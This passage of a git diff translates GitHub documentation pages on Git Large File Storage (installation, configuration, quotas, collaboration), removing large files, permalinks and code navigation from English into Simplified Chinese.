+**警告**：这些步骤将从您的计算机和 {% data variables.product.product_location %} 上的仓库中永久删除文件。 如果文件很重要，请在仓库外部的目录中创建本地备份副本。
 
 {% endwarning %}
 
-### Removing a file added in the most recent unpushed commit
+### 删除在最近未推送的提交中添加的文件
 
-If the file was added with your most recent commit, and you have not pushed to {% data variables.product.product_location %}, you can delete the file and amend the commit:
+如果文件使用最近的提交添加，而您尚未推送到 {% data variables.product.product_location %}，您可以删除文件并修改提交：
 
 {% data reusables.command_line.open_the_multi_os_terminal %}
 {% data reusables.command_line.switching_directories_procedural %}
-3. To remove the file, enter `git rm --cached`:
+3. 要删除文件，请输入 `git rm --cached`：
   ```shell
   $ git rm --cached <em>giant_file</em>
   # Stage our giant file for removal, but leave it on disk
   ```
-4. Commit this change using `--amend -CHEAD`:
+4. 使用 `--amend -CHEAD` 提交此更改：
   ```shell
   $ git commit --amend -CHEAD
   # Amend the previous commit with your change
   # Simply making a new commit won't work, as you need
   # to remove the file from the unpushed history as well
   ```
-5. Push your commits to {% data variables.product.product_location %}:
+5. 将提交推送到 {% data variables.product.product_location %}：
   ```shell
   $ git push
   # Push our rewritten, smaller commit
   ```
 
-### Removing a file that was added in an earlier commit
+### 删除之前提交中添加的文件
 
-If you added a file in an earlier commit, you need to remove it from the repository's history. To remove files from the repository's history, you can use the BFG Repo-Cleaner or the `git filter-branch` command. For more information see "[Removing sensitive data from a repository](/github/authenticating-to-github/removing-sensitive-data-from-a-repository)."
+如果在之前的提交中添加了文件，则需要将其从仓库历史记录中删除。 要从仓库历史记录中删除文件，可以使用 BFG Repo-Cleaner 或 `git filter-branch` 命令。 更多信息请参阅“[从仓库中删除敏感数据](/github/authenticating-to-github/removing-sensitive-data-from-a-repository)”。
 
-## Distributing large binaries
+## 分发大型二进制文件
 
-If you need to distribute large files within your repository, you can create releases on {% data variables.product.product_location %}. Releases allow you to package software, release notes, and links to binary files, for other people to use. For more information, visit "[About releases](/github/administering-a-repository/about-releases)."
+如果需要在仓库内分发大型文件，您可以在 {% data variables.product.product_location %} 上创建发行版。 发行版允许您打包软件、发行说明和指向二进制文件的链接，以供其他人使用。 更多信息请参阅“[关于发行版](/github/administering-a-repository/about-releases)”。
 
 {% ifversion fpt or ghec %}
 
-We don't limit the total size of the binary files in the release or the bandwidth used to deliver them. However, each individual file must be smaller than {% data variables.large_files.max_lfs_size %}.
+我们不限制二进制发行版文件的总大小，也不限制用于传递它们的带宽。 但每个文件必须小于 {% data variables.large_files.max_lfs_size %}。
 
 {% endif %}
 
diff --git a/translations/zh-CN/content/repositories/working-with-files/managing-large-files/about-storage-and-bandwidth-usage.md b/translations/zh-CN/content/repositories/working-with-files/managing-large-files/about-storage-and-bandwidth-usage.md
index d8b8b08de9..3ae6164af0 100644
--- a/translations/zh-CN/content/repositories/working-with-files/managing-large-files/about-storage-and-bandwidth-usage.md
+++ b/translations/zh-CN/content/repositories/working-with-files/managing-large-files/about-storage-and-bandwidth-usage.md
@@ -1,5 +1,5 @@
 ---
-title: About storage and bandwidth usage
+title: 关于存储和带宽使用情况
 intro: '{% data reusables.large_files.free-storage-bandwidth-amount %}'
 redirect_from:
   - /articles/billing-plans-for-large-file-storage
@@ -10,40 +10,41 @@ redirect_from:
 versions:
   fpt: '*'
   ghec: '*'
-shortTitle: Storage & bandwidth
+shortTitle: 存储和带宽
 ---
-{% data variables.large_files.product_name_short %} is available for every repository on {% data variables.product.product_name %}, whether or not your account or organization has a paid subscription.
 
-## Tracking storage and bandwidth use
+{% data variables.large_files.product_name_short %} 是适用于 {% data variables.product.product_name %} 上每个仓库的变量，无论您的帐户或组织是否有付费的订阅。
 
-When you commit and push a change to a file tracked with {% data variables.large_files.product_name_short %}, a new version of the entire file is pushed and the total file size is counted against the repository owner's storage limit. When you download a file tracked with {% data variables.large_files.product_name_short %}, the total file size is counted against the repository owner's bandwidth limit. {% data variables.large_files.product_name_short %} uploads do not count against the bandwidth limit.
+## 跟踪存储和带宽使用情况
 
-For example:
-- If you push a 500 MB file to {% data variables.large_files.product_name_short %}, you'll use 500 MB of your allotted storage and none of your bandwidth. If you make a 1 byte change and push the file again, you'll use another 500 MB of storage and no bandwidth, bringing your total usage for these two pushes to 1 GB of storage and zero bandwidth.
-- If you download a 500 MB file that's tracked with LFS, you'll use 500 MB of the repository owner's allotted bandwidth. If a collaborator pushes a change to the file and you pull the new version to your local repository, you'll use another 500 MB of bandwidth, bringing the total usage for these two downloads to 1 GB of bandwidth.
+在提交和推送更改到使用 {% data variables.large_files.product_name_short %} 跟踪的文件时，会推送整个文件的新版本，并且根据仓库所有者的存储单位计算文件的总大小。 在下载使用 {% data variables.large_files.product_name_short %} 跟踪的文件时，根据仓库所有者的带宽限制计算文件的总大小。 {% data variables.large_files.product_name_short %} 上传不根据带宽限制进行计算。
+
+例如：
+- 如果将 500 MB 文件推送到 {% data variables.large_files.product_name_short %}，您将使用 500 MB 的分配存储空间，而不使用带宽。 如果进行 1 个字节的更改后再次推送文件，您会使用另外 500 MB 的存储空间，但仍然不使用带宽，所以两次推送的总使用量是 1 GB 存储空间和零带宽。
+- 如果下载一个使用 LFS 跟踪的 500 MB 文件，您将使用仓库所有者分配的 500 MB 带宽。 如果协作者推送文件更改并将新版本拉取到本地仓库，您将使用另外 500 MB 的带宽，所以两次下载的总使用量是 1 GB 带宽。
 - If {% data variables.product.prodname_actions %} downloads a 500 MB file that is tracked with LFS, it will use 500 MB of the repository owner's allotted bandwidth.
 
 {% ifversion fpt or ghec %}
-If {% data variables.large_files.product_name_long %} ({% data variables.large_files.product_name_short %}) objects are included in source code archives for your repository, downloads of those archives will count towards bandwidth usage for the repository. For more information, see "[Managing {% data variables.large_files.product_name_short %} objects in archives of your repository](/github/administering-a-repository/managing-git-lfs-objects-in-archives-of-your-repository)."
+如果 {% data variables.large_files.product_name_long %} ({% data variables.large_files.product_name_short %}) 对象包含在仓库的源代码存档中，则下载这些存档将会计入仓库的带宽使用量。 更多信息请参阅“[管理仓库存档中的 {% data variables.large_files.product_name_short %} 对象](/github/administering-a-repository/managing-git-lfs-objects-in-archives-of-your-repository)”。
 {% endif %}
 
 {% tip %}
 
-**Tips**:
+**提示**：
 - {% data reusables.large_files.owner_quota_only %}
 - {% data reusables.large_files.does_not_carry %}
 
 {% endtip %}
 
-## Storage quota
+## 存储配额
 
-If you use more than {% data variables.large_files.initial_storage_quota %} of storage without purchasing a data pack, you can still clone repositories with large assets, but you will only retrieve the pointer files, and you will not be able to push new files back up. For more information about pointer files, see "[About {% data variables.large_files.product_name_long %}](/github/managing-large-files/about-git-large-file-storage#pointer-file-format)."
+如果使用的存储空间超过 {% data variables.large_files.initial_storage_quota %} 而又未购买数据包，您仍可克隆包含大资产的仓库，但只能检索指针文件，而不能推送新文件备份。 有关指针文件的更多信息，请参阅“[关于 {% data variables.large_files.product_name_long %}](/github/managing-large-files/about-git-large-file-storage#pointer-file-format)”。
 
-## Bandwidth quota
+## 带宽配额
 
-If you use more than {% data variables.large_files.initial_bandwidth_quota %} of bandwidth per month without purchasing a data pack, {% data variables.large_files.product_name_short %} support is disabled on your account until the next month.
+如果每月使用的带宽超过{% data variables.large_files.initial_bandwidth_quota %}而又未购买数据包，{% data variables.large_files.product_name_short %} 支持会对您的帐户禁用至下个月。
 
-## Further reading
+## 延伸阅读
 
-- "[Viewing your {% data variables.large_files.product_name_long %} usage](/articles/viewing-your-git-large-file-storage-usage)"
-- "[Managing billing for {% data variables.large_files.product_name_long %}](/articles/managing-billing-for-git-large-file-storage)"
+- "[查看您的 {% data variables.large_files.product_name_long %} 使用情况](/articles/viewing-your-git-large-file-storage-usage)"
+- "[管理 {% data variables.large_files.product_name_long %} 的计费](/articles/managing-billing-for-git-large-file-storage)"
diff --git a/translations/zh-CN/content/repositories/working-with-files/managing-large-files/collaboration-with-git-large-file-storage.md b/translations/zh-CN/content/repositories/working-with-files/managing-large-files/collaboration-with-git-large-file-storage.md
index f1cd37622a..930eb86485 100644
--- a/translations/zh-CN/content/repositories/working-with-files/managing-large-files/collaboration-with-git-large-file-storage.md
+++ b/translations/zh-CN/content/repositories/working-with-files/managing-large-files/collaboration-with-git-large-file-storage.md
@@ -1,6 +1,6 @@
 ---
-title: Collaboration with Git Large File Storage
-intro: 'With {% data variables.large_files.product_name_short %} enabled, you''ll be able to fetch, modify, and push large files just as you would expect with any file that Git manages. However, a user that doesn''t have {% data variables.large_files.product_name_short %} will experience a different workflow.'
+title: 协作处理 Git Large File Storage
+intro: '启用 {% data variables.large_files.product_name_short %} 后，您就可以像使用 Git 管理的任何文件一样获取、修改和推送大文件。 但是，没有 {% data variables.large_files.product_name_short %} 的用户将经历不同的工作流程。'
 redirect_from:
   - /articles/collaboration-with-large-file-storage
   - /articles/collaboration-with-git-large-file-storage
@@ -11,36 +11,37 @@ versions:
   ghes: '*'
   ghae: '*'
   ghec: '*'
-shortTitle: Collaboration
+shortTitle: 协作
 ---
-If collaborators on your repository don't have {% data variables.large_files.product_name_short %} installed, they won't have access to the original large file. If they attempt to clone your repository, they will only fetch the pointer files, and won't have access to any of the actual data.
+
+如果仓库上的协作者未安装 {% data variables.large_files.product_name_short %}，他们将无法访问原始大文件。 如果他们尝试克隆您的仓库，则只能获取指针文件，而无法访问任何实际数据。
 
 {% tip %}
 
-**Tip:** To help users without {% data variables.large_files.product_name_short %} enabled, we recommend you set guidelines for repository contributors that describe how to work with large files. For example, you may ask contributors not to modify large files, or to upload changes to a file sharing service like [Dropbox](http://www.dropbox.com/) or <a href="https://drive.google.com/" data-proofer-ignore>Google Drive</a>. For more information, see "[Setting guidelines for repository contributors](/communities/setting-up-your-project-for-healthy-contributions/setting-guidelines-for-repository-contributors)."
+**提示：**为帮助未启用 {% data variables.large_files.product_name_short %} 的用户，我们建议您设置仓库贡献者指南以介绍如何处理大文件。 例如，您可以要求贡献者不修改大文件，或者将更改上传到文件共享服务，如 [Dropbox](http://www.dropbox.com/) 或 <a href="https://drive.google.com/" data-proofer-ignore>Google Drive</a>。 更多信息请参阅“[设置仓库参与者指南](/communities/setting-up-your-project-for-healthy-contributions/setting-guidelines-for-repository-contributors)”。
 
 {% endtip %}
 
-## Viewing large files in pull requests
+## 查看拉取请求中的大文件
 
-{% data variables.product.product_name %} does not render {% data variables.large_files.product_name_short %} objects in pull requests. Only the pointer file is shown:
+{% data variables.product.product_name %} 不会渲染拉取请求中的 {% data variables.large_files.product_name_short %} 对象。 仅显示指针文件：
 
-![Sample PR for large files](/assets/images/help/large_files/large_files_pr.png)
+![大文件的示例 PR](/assets/images/help/large_files/large_files_pr.png)
 
-For more information about pointer files, see "[About {% data variables.large_files.product_name_long %}](/github/managing-large-files/about-git-large-file-storage#pointer-file-format)."
+有关指针文件的更多信息，请参阅“[关于 {% data variables.large_files.product_name_long %}](/github/managing-large-files/about-git-large-file-storage#pointer-file-format)”。
 
-To view changes made to large files, check out the pull request locally to review the diff. For more information, see "[Checking out pull requests locally](/github/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/checking-out-pull-requests-locally)."
+要查看对大型文件所做的更改，请在本地检出拉取请求以查看差异。 更多信息请参阅“[在本地检出拉取请求](/github/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/checking-out-pull-requests-locally)”。
 
 {% ifversion fpt or ghec %}
 
-## Pushing large files to forks
+## 推送大文件到复刻
 
-Pushing large files to forks of a repository count against the parent repository's bandwidth and storage quotas, rather than the quotas of the fork owner.
+将大文件推送到仓库复刻会计入父仓库的带宽和存储配额，而不是复刻所有者的配额。
 
-You can push {% data variables.large_files.product_name_short %} objects to public forks if the repository network already has {% data variables.large_files.product_name_short %} objects or you have write access to the root of the repository network.
+如果仓库网络已经有 {% data variables.large_files.product_name_short %} 对象，或者您能够写入仓库网络的根目录，您可以将 {% data variables.large_files.product_name_short %} 对象推送到公共复刻。
 
 {% endif %}
 
-## Further reading
+## 延伸阅读
 
-- "[Duplicating a repository with Git Large File Storage objects](/articles/duplicating-a-repository/#mirroring-a-repository-that-contains-git-large-file-storage-objects)"
+- "[复制含有 Git Large File Storage 对象的仓库](/articles/duplicating-a-repository/#mirroring-a-repository-that-contains-git-large-file-storage-objects)"
diff --git a/translations/zh-CN/content/repositories/working-with-files/managing-large-files/configuring-git-large-file-storage.md b/translations/zh-CN/content/repositories/working-with-files/managing-large-files/configuring-git-large-file-storage.md
index 6569c30f30..a71203dcb6 100644
--- a/translations/zh-CN/content/repositories/working-with-files/managing-large-files/configuring-git-large-file-storage.md
+++ b/translations/zh-CN/content/repositories/working-with-files/managing-large-files/configuring-git-large-file-storage.md
@@ -1,6 +1,6 @@
 ---
-title: Configuring Git Large File Storage
-intro: 'Once [{% data variables.large_files.product_name_short %} is installed](/articles/installing-git-large-file-storage/), you need to associate it with a large file in your repository.'
+title: 配置 Git Large File Storage
+intro: '安装 [{% data variables.large_files.product_name_short %}] 后 (/articles/installing-git-large-file-storage/)，需要将其与仓库中的大文件相关联。'
 redirect_from:
   - /articles/configuring-large-file-storage
   - /articles/configuring-git-large-file-storage
@@ -11,9 +11,10 @@ versions:
   ghes: '*'
   ghae: '*'
   ghec: '*'
-shortTitle: Configure Git LFS
+shortTitle: 配置 Git LFS
 ---
-If there are existing files in your repository that you'd like to use {% data variables.product.product_name %} with, you need to first remove them from the repository and then add them to {% data variables.large_files.product_name_short %} locally. For more information, see "[Moving a file in your repository to {% data variables.large_files.product_name_short %}](/articles/moving-a-file-in-your-repository-to-git-large-file-storage)."
+
+如果仓库中存在要用于 {% data variables.product.product_name %} 的现有文件，则需要先从仓库中删除它们，然后在本地将其添加到 {% data variables.large_files.product_name_short %}。 更多信息请参阅“[将仓库中的文件移动到 {% data variables.large_files.product_name_short %}](/articles/moving-a-file-in-your-repository-to-git-large-file-storage)”。
 
 {% data reusables.large_files.resolving-upload-failures %}
 
@@ -21,46 +22,46 @@ If there are existing files in your repository that you'd like to use {% data va
 
 {% tip %}
 
-**Note:** Before trying to push a large file to {% data variables.product.product_name %}, make sure that you've enabled {% data variables.large_files.product_name_short %} on your enterprise. For more information, see "[Configuring Git Large File Storage on GitHub Enterprise Server](/enterprise/{{ currentVersion }}/admin/guides/installation/configuring-git-large-file-storage-on-github-enterprise-server/)."
+**注：**尝试向 {% data variables.product.product_name %} 推送大文件之前，请确保在您的企业上启用了 {% data variables.large_files.product_name_short %}。 更多信息请参阅“[在 GitHub Enterprise Server 上配置 Git Large File Storage](/enterprise/{{ currentVersion }}/admin/guides/installation/configuring-git-large-file-storage-on-github-enterprise-server/)”。
 
 {% endtip %}
 
 {% endif %}
 
 {% data reusables.command_line.open_the_multi_os_terminal %}
-2. Change your current working directory to an existing repository you'd like to use with {% data variables.large_files.product_name_short %}.
-3. To associate a file type in your repository with {% data variables.large_files.product_name_short %}, enter `git {% data variables.large_files.command_name %} track` followed by the name of the file extension you want to automatically upload to {% data variables.large_files.product_name_short %}.
+2. 将当前工作目录更改为要用于 {% data variables.large_files.product_name_short %} 的现有仓库。
+3. 要将仓库中的文件类型与 {% data variables.large_files.product_name_short %} 相关联，请输入 `git {% data variables.large_files.command_name %} track`，后跟要自动上传到 {% data variables.large_files.product_name_short %} 的文件扩展名。
 
-  For example, to associate a _.psd_ file, enter the following command:
+  例如，要关联 _.psd_ 文件，请输入以下命令：
   ```shell
   $ git {% data variables.large_files.command_name %} track "*.psd"
   > Adding path *.psd
   ```
-  Every file type you want to associate with {% data variables.large_files.product_name_short %} will need to be added with `git {% data variables.large_files.command_name %} track`. This command amends your repository's *.gitattributes* file and associates large files with {% data variables.large_files.product_name_short %}.
+  要与 {% data variables.large_files.product_name_short %} 关联的每个文件类型都需要添加 `git {% data variables.large_files.command_name %} track`。 此命令将修改仓库的 *.gitattributes* 文件，并将大文件与 {% data variables.large_files.product_name_short %} 相关联。
 
   {% tip %}
 
-  **Tip:** We strongly suggest that you commit your local *.gitattributes* file into your repository. Relying on a global *.gitattributes* file associated with {% data variables.large_files.product_name_short %} may cause conflicts when contributing to other Git projects.
+  **提示：**我们强烈建议您将本地 *.gitattributes* 文件提交到仓库中。 依赖与 {% data variables.large_files.product_name_short %} 关联的全局 *.gitattributes* 文件，可能会导致在参与其他 Git 项目时发生冲突。
 
   {% endtip %}
 
-4. Add a file to the repository matching the extension you've associated:
+4. 将文件添加到与关联的扩展名相匹配的仓库：
   ```shell
   $ git add path/to/file.psd
   ```
-5. Commit the file and push it to {% data variables.product.product_name %}:
+5. 提交文件并将其推送到 {% data variables.product.product_name %}：
   ```shell
   $ git commit -m "add file.psd"
   $ git push
   ```
-  You should see some diagnostic information about your file upload:
+  您会看到一些有关文件上传的诊断信息：
   ```shell
   > Sending file.psd
   > 44.74 MB / 81.04 MB  55.21 % 14s
   > 64.74 MB / 81.04 MB  79.21 % 3s
   ```
 
-## Further reading
+## 延伸阅读
 
-- "[Collaboration with {% data variables.large_files.product_name_long %}](/articles/collaboration-with-git-large-file-storage/)"{% ifversion fpt or ghec %}
-- "[Managing {% data variables.large_files.product_name_short %} objects in archives of your repository](/github/administering-a-repository/managing-git-lfs-objects-in-archives-of-your-repository)"{% endif %}
+- "[使用 {% data variables.large_files.product_name_long %} 进行协作](/articles/collaboration-with-git-large-file-storage/)"{% ifversion fpt or ghec %}
+- "[管理仓库存档中的 {% data variables.large_files.product_name_short %} 对象](/github/administering-a-repository/managing-git-lfs-objects-in-archives-of-your-repository)"{% endif %}
diff --git a/translations/zh-CN/content/repositories/working-with-files/managing-large-files/installing-git-large-file-storage.md b/translations/zh-CN/content/repositories/working-with-files/managing-large-files/installing-git-large-file-storage.md
index 744ea932b5..a36c4c51a7 100644
--- a/translations/zh-CN/content/repositories/working-with-files/managing-large-files/installing-git-large-file-storage.md
+++ b/translations/zh-CN/content/repositories/working-with-files/managing-large-files/installing-git-large-file-storage.md
@@ -1,6 +1,6 @@
 ---
-title: Installing Git Large File Storage
-intro: 'In order to use {% data variables.large_files.product_name_short %}, you''ll need to download and install a new program that''s separate from Git.'
+title: 安装 Git Large File Storage
+intro: '为使用 {% data variables.large_files.product_name_short %}，您需要下载并安装不同于 Git 的新程序。'
 redirect_from:
   - /articles/installing-large-file-storage
   - /articles/installing-git-large-file-storage
@@ -11,106 +11,107 @@ versions:
   ghes: '*'
   ghae: '*'
   ghec: '*'
-shortTitle: Install Git LFS
+shortTitle: 安装 Git LFS
 ---
+
 {% mac %}
 
-1. Navigate to [git-lfs.github.com](https://git-lfs.github.com) and click **Download**. Alternatively, you can install {% data variables.large_files.product_name_short %} using a package manager:
-    - To use [Homebrew](http://brew.sh/), run `brew install git-lfs`.
-    - To use [MacPorts](https://www.macports.org/), run `port install git-lfs`.
+1. 导航到 [git-lfs.github.com](https://git-lfs.github.com) 并单击 **Download（下载）**。 也可以使用包管理器安装 {% data variables.large_files.product_name_short %}：
+    - 要使用 [Homebrew](http://brew.sh/)，请运行 `brew install git-lfs`。
+    - 要使用 [MacPorts](https://www.macports.org/)，请运行 `port install git-lfs`。
 
- If you install {% data variables.large_files.product_name_short %} with Homebrew or MacPorts, skip to step six.
+ 如果安装用于 Homebrew 或 MacPorts 的 {% data variables.large_files.product_name_short %}，请跳至步骤 6。
 
-2. On your computer, locate and unzip the downloaded file.
+2. 在计算机上，找到并解压缩下载的文件。
 {% data reusables.command_line.open_the_multi_os_terminal %}
-3. Change the current working directory into the folder you downloaded and unzipped.
+3. 将当前工作目录更改为您下载并解压缩的文件夹。
   ```shell
   $ cd ~/Downloads/git-lfs-<em>1.X.X</em>
   ```
  {% note %}
 
- **Note:** The file path you use after `cd` depends on your operating system, Git LFS version you downloaded, and where you saved the {% data variables.large_files.product_name_short %} download.
+ **注：**在 `cd` 后面使用的文件路径取决于您的操作系统、下载的 Git LFS 版本以及保存 {% data variables.large_files.product_name_short %} 下载的位置。
 
  {% endnote %}
-4. To install the file, run this command:
+4. 要安装该文件，请运行以下命令：
   ```shell
   $ ./install.sh
   > {% data variables.large_files.product_name_short %} initialized.
   ```
  {% note %}
 
- **Note:** You may have to use `sudo ./install.sh` to install the file.
+ **注：**您可能必须使用 `sudo ./install.sh` 来安装文件。
 
  {% endnote %}
-5. Verify that the installation was successful:
+5. 验证安装成功：
   ```shell
   $ git {% data variables.large_files.command_name %} install
   > {% data variables.large_files.product_name_short %} initialized.
   ```
-6. If you don't see a message indicating that `git {% data variables.large_files.command_name %} install` was successful, please contact {% data variables.contact.contact_support %}. Be sure to include the name of your operating system.
+6. 如果未看到表示 `git {% data variables.large_files.command_name %} install` 成功的消息，请联系 {% data variables.contact.contact_support %}。 确保包含操作系统的名称。
 
 {% endmac %}
 
 {% windows %}
 
-1. Navigate to [git-lfs.github.com](https://git-lfs.github.com) and click **Download**.
+1. 导航到 [git-lfs.github.com](https://git-lfs.github.com) 并单击 **Download（下载）**。
 
   {% tip %}
 
-  **Tip:** For more information about alternative ways to install {% data variables.large_files.product_name_short %} for Windows, see this [Getting started guide](https://github.com/github/git-lfs#getting-started).
+  **提示：**有关安装 Windows 版 {% data variables.large_files.product_name_short %} 的其他方法的更多信息，请参阅此[入门指南](https://github.com/github/git-lfs#getting-started)。
 
   {% endtip %}
-2. On your computer, locate the downloaded file.
-3. Double click on the file called *git-lfs-windows-1.X.X.exe*, where 1.X.X is replaced with the Git LFS version you downloaded. When you open this file Windows will run a setup wizard to install {% data variables.large_files.product_name_short %}.
+2. 在计算机上，找到下载的文件。
+3. 双击文件 *git-lfs-windows-1.X.X.exe*，其中 1.X.X 替换为您下载的 Git LFS 版本。 打开此文件时，Windows 将运行安装程序向导以安装 {% data variables.large_files.product_name_short %}。
 {% data reusables.command_line.open_the_multi_os_terminal %}
-5. Verify that the installation was successful:
+5. 验证安装成功：
   ```shell
   $ git {% data variables.large_files.command_name %} install
   > {% data variables.large_files.product_name_short %} initialized.
   ```
-6. If you don't see a message indicating that `git {% data variables.large_files.command_name %} install` was successful, please contact {% data variables.contact.contact_support %}. Be sure to include the name of your operating system.
+6. 如果未看到表示 `git {% data variables.large_files.command_name %} install` 成功的消息，请联系 {% data variables.contact.contact_support %}。 确保包含操作系统的名称。
 
 {% endwindows %}
 
 {% linux %}
 
-1. Navigate to [git-lfs.github.com](https://git-lfs.github.com) and click **Download**.
+1. 导航到 [git-lfs.github.com](https://git-lfs.github.com) 并单击 **Download（下载）**。
 
   {% tip %}
 
-  **Tip:** For more information about alternative ways to install {% data variables.large_files.product_name_short %} for Linux, see this [Getting started guide](https://github.com/github/git-lfs#getting-started).
+  **提示：**有关安装 Linux 版 {% data variables.large_files.product_name_short %} 的其他方法的更多信息，请参阅此[入门指南](https://github.com/github/git-lfs#getting-started)。
 
   {% endtip %}
-2. On your computer, locate and unzip the downloaded file.
+2. 在计算机上，找到并解压缩下载的文件。
 {% data reusables.command_line.open_the_multi_os_terminal %}
-3. Change the current working directory into the folder you downloaded and unzipped.
+3. 将当前工作目录更改为您下载并解压缩的文件夹。
   ```shell
   $ cd ~/Downloads/git-lfs-<em>1.X.X</em>
   ```
  {% note %}
 
- **Note:** The file path you use after `cd` depends on your operating system, Git LFS version you downloaded, and where you saved the {% data variables.large_files.product_name_short %} download.
+ **注：**在 `cd` 后面使用的文件路径取决于您的操作系统、下载的 Git LFS 版本以及保存 {% data variables.large_files.product_name_short %} 下载的位置。
 
  {% endnote %}
-4. To install the file, run this command:
+4. 要安装该文件，请运行以下命令：
   ```shell
   $ ./install.sh
   > {% data variables.large_files.product_name_short %} initialized.
   ```
  {% note %}
 
- **Note:** You may have to use `sudo ./install.sh` to install the file.
+ **注：**您可能必须使用 `sudo ./install.sh` 来安装文件。
 
  {% endnote %}
-5. Verify that the installation was successful:
+5. 验证安装成功：
   ```shell
   $ git {% data variables.large_files.command_name %} install
   > {% data variables.large_files.product_name_short %} initialized.
   ```
-6. If you don't see a message indicating that `git {% data variables.large_files.command_name %} install` was successful, please contact {% data variables.contact.contact_support %}. Be sure to include the name of your operating system.
+6. 如果未看到表示 `git {% data variables.large_files.command_name %} install` 成功的消息，请联系 {% data variables.contact.contact_support %}。 确保包含操作系统的名称。
 
 {% endlinux %}
 
-## Further reading
+## 延伸阅读
 
-- "[Configuring {% data variables.large_files.product_name_long %}](/articles/configuring-git-large-file-storage)"
+- "[配置 {% data variables.large_files.product_name_long %}](/articles/configuring-git-large-file-storage)"
diff --git a/translations/zh-CN/content/repositories/working-with-files/using-files/getting-permanent-links-to-files.md b/translations/zh-CN/content/repositories/working-with-files/using-files/getting-permanent-links-to-files.md
index e634289eb4..a8456de4bf 100644
--- a/translations/zh-CN/content/repositories/working-with-files/using-files/getting-permanent-links-to-files.md
+++ b/translations/zh-CN/content/repositories/working-with-files/using-files/getting-permanent-links-to-files.md
@@ -1,6 +1,6 @@
 ---
-title: Getting permanent links to files
-intro: 'When viewing a file on {% data variables.product.product_location %}, you can press the "y" key to update the URL to a permalink to the exact version of the file you see.'
+title: 创建文件的永久链接
+intro: '在 {% data variables.product.product_location %} 上查看文件时，您可以按 "y" 键将 URL 更新为指向所查看文件精确版本的永久链接。'
 redirect_from:
   - /articles/getting-a-permanent-link-to-a-file
   - /articles/how-do-i-get-a-permanent-link-from-file-view-to-permanent-blob-url
@@ -14,44 +14,45 @@ versions:
   ghec: '*'
 topics:
   - Repositories
-shortTitle: Permanent links to files
+shortTitle: 文件的永久链接
 ---
+
 {% tip %}
 
-**Tip**: Press "?" on any page in {% data variables.product.product_name %} to see all available keyboard shortcuts.
+**提示**：在 {% data variables.product.product_name %} 的任意页面上按 "?" 键可查看所有可用的键盘快捷键。
 
 {% endtip %}
 
-## File views show the latest version on a branch
+## 文件视图显示分支上的最新版本
 
-When viewing a file on {% data variables.product.product_location %}, you usually see the version at the current head of a branch.  For example:
+在 {% data variables.product.product_location %} 上查看文件时，通常会在分支头部看到当前版本。  例如：
 
 * [https://github.com/github/codeql/blob/**main**/README.md](https://github.com/github/codeql/blob/main/README.md)
 
-refers to GitHub's `codeql` repository, and shows the `main` branch's current version of the `README.md` file.
+引用 GitHub 的 `codeql` 仓库，并显示 `main` 分支中 `README.md` 文件的当前版本。
 
-The version of a file at the head of branch can change as new commits are made, so if you were to copy the normal URL, the file contents might not be the same when someone looks at it later.
+分支头部的文件版本可能会随着新的提交而改变，因此如果您复制常规的 URL，当以后有人查看时，文件内容可能会不同。
 
-## Press <kbd>y</kbd> to permalink to a file in a specific commit
+## Press <kbd>Y</kbd> to permalink to a file in a specific commit
 
-For a permanent link to the specific version of a file that you see, instead of using a branch name in the URL (i.e. the `main` part in the example above), put a commit id.  This will permanently link to the exact version of the file in that commit.  For example:
+要创建所查看文件特定版本的永久链接，不要在 URL 中使用分支名称（例如上例中的 `main` 部分），而是输入提交 id。  这将永久链接到该提交中文件的精确版本。  例如：
 
 * [https://github.com/github/codeql/blob/**b212af08a6cffbb434f3c8a2795a579e092792fd**/README.md](https://github.com/github/codeql/blob/b212af08a6cffbb434f3c8a2795a579e092792fd/README.md)
 
-replaces `main` with a specific commit id and the file content will not change.
+将 `main` 替换为特定提交 id，文件内容将不会改变。
 
-Looking up the commit SHA by hand is inconvenient, however, so as a shortcut you can type <kbd>y</kbd> to automatically update the URL to the permalink version.  Then you can copy the URL knowing that anyone you share it with will see exactly what you saw.
+但是，手动查找提交 SHA 比较麻烦，因此您可以采用便捷方式，通过键入 <kbd>y</kbd> 将 URL 自动更新为永久链接版本。  然后，您可以复制该 URL，以后访问它的任何人都将看到与您所见完全一致的内容。
 
 {% tip %}
 
-**Tip**: You can put any identifier that can be resolved to a commit in the URL, including branch names, specific commit SHAs, or tags!
+**提示**：您可以将可解析为提交的任何标识符放在 URL 中，包括分支名称、特定提交 SHA 或标记！
 
 {% endtip %}
 
-## Creating a permanent link to a code snippet
+## 创建指向代码段的永久链接
 
-You can create a permanent link to a specific line or range of lines of code in a specific version of a file or pull request. For more information, see "[Creating a permanent link to a code snippet](/articles/creating-a-permanent-link-to-a-code-snippet/)."
+您可以创建指向特定版本的文件或拉取请求中特定代码行或行范围的永久链接。 更多信息请参阅“[创建指向代码段的永久链接](/articles/creating-a-permanent-link-to-a-code-snippet/)”。
 
-## Further reading
+## 延伸阅读
 
-- "[Archiving a GitHub repository](/articles/archiving-a-github-repository)"
+- "[存档 GitHub 仓库](/articles/archiving-a-github-repository)"
diff --git a/translations/zh-CN/content/repositories/working-with-files/using-files/navigating-code-on-github.md b/translations/zh-CN/content/repositories/working-with-files/using-files/navigating-code-on-github.md
index d0f6114565..4ee75fd1f9 100644
--- a/translations/zh-CN/content/repositories/working-with-files/using-files/navigating-code-on-github.md
+++ b/translations/zh-CN/content/repositories/working-with-files/using-files/navigating-code-on-github.md
@@ -1,6 +1,6 @@
 ---
-title: Navigating code on GitHub
-intro: 'You can understand the relationships within and across repositories by navigating code directly in {% data variables.product.product_name %}.'
+title: 在 GitHub 上导航代码
+intro: '您可以直接在 {% data variables.product.product_name %} 中导航代码，来理解仓库内及仓库之间的关系。'
 redirect_from:
   - /articles/navigating-code-on-github
   - /github/managing-files-in-a-repository/navigating-code-on-github
@@ -11,9 +11,10 @@ versions:
 topics:
   - Repositories
 ---
+
 <!-- If you make changes to this feature, update /getting-started-with-github/github-language-support to reflect any changes to supported languages. -->
 
-## About navigating code on {% data variables.product.prodname_dotcom %}
+## 关于在 {% data variables.product.prodname_dotcom %} 上导航代码
 
 Code navigation helps you to read, navigate, and understand code by showing and linking definitions of a named entity corresponding to a reference to that entity, as well as references corresponding to an entity's definition.
 
@@ -21,17 +22,17 @@ Code navigation helps you to read, navigate, and understand code by showing and
 
 Code navigation uses the open source [`tree-sitter`](https://github.com/tree-sitter/tree-sitter) library. The following languages and navigation strategies are supported:
 
-| Language   | search-based code navigation | precise code navigation |
+|     语言     | search-based code navigation | precise code navigation |
